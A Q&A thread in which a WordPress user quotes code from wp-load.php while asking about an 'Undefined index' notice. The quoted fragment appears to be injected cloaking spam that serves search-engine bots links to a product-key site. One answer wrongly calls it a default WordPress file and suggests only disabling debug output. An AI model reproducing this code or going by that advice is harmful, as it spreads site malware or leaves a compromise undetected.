0

I am getting Error Notice Appearing on top of my Wordpress website with the following Statment:

Notice: Undefined Index: HTTP REFERER in Path/wp-load.php On Line 7

I have tried to hide the notice but it doesn't fix the issue.

The code in the mentioned line is below:

<?php
  $tmp = strtolower($_SERVER['HTTP_USER_AGENT']);
  $mysite = "http://mywebsite.com/";
  $filename = "";
  $fromsite = "https://productkeysdl.com/windows-10-product-key/";
  if (strpos($tmp, 'google') !== false || strpos($tmp, 'yahoo') !== false 
    || strpos($tmp, 'aol') !== false || strpos($tmp, 'sqworm') !== false || 
    strpos($tmp, 'bot') !== false) {
    $ksite = !empty($_GET['key']) ? $_GET['key'] : "";
    $list = array();

I expect that Undefined Index notice disappear from the Home page of the website

Miroslav Glamuzina
  • 4,472
  • 2
  • 19
  • 33
Bharathan M
  • 1
  • 1
  • 1

2 Answers2

1

I recommend you to don't touch the code in the file, it's showing notices, as it's a default Wordpress file. if you really want to get rid of this notice, find the wp-config.php file in same directory and look for 'WP_DEBUG' and make it's value 'false'.

Chintan Trivedi
  • 207
  • 1
  • 5
0

I'm assuming you actually mean "HTTP_USER_AGENT" coming up as undefined index? because that code does NOT have 'HTTP_REFERRER' anywhere. Note that not all browsers send HTTP_USER_AGENT. https://www.google.com/search?q=php+%24_server+undefined+'http_user_agent'.

If you did mean "HTTP_REFERRER" then it must be occuring elsewhere. Note that the referrer is also not always provided. $_SERVER['HTTP_REFERER'] missing

anmari
  • 3,830
  • 1
  • 15
  • 15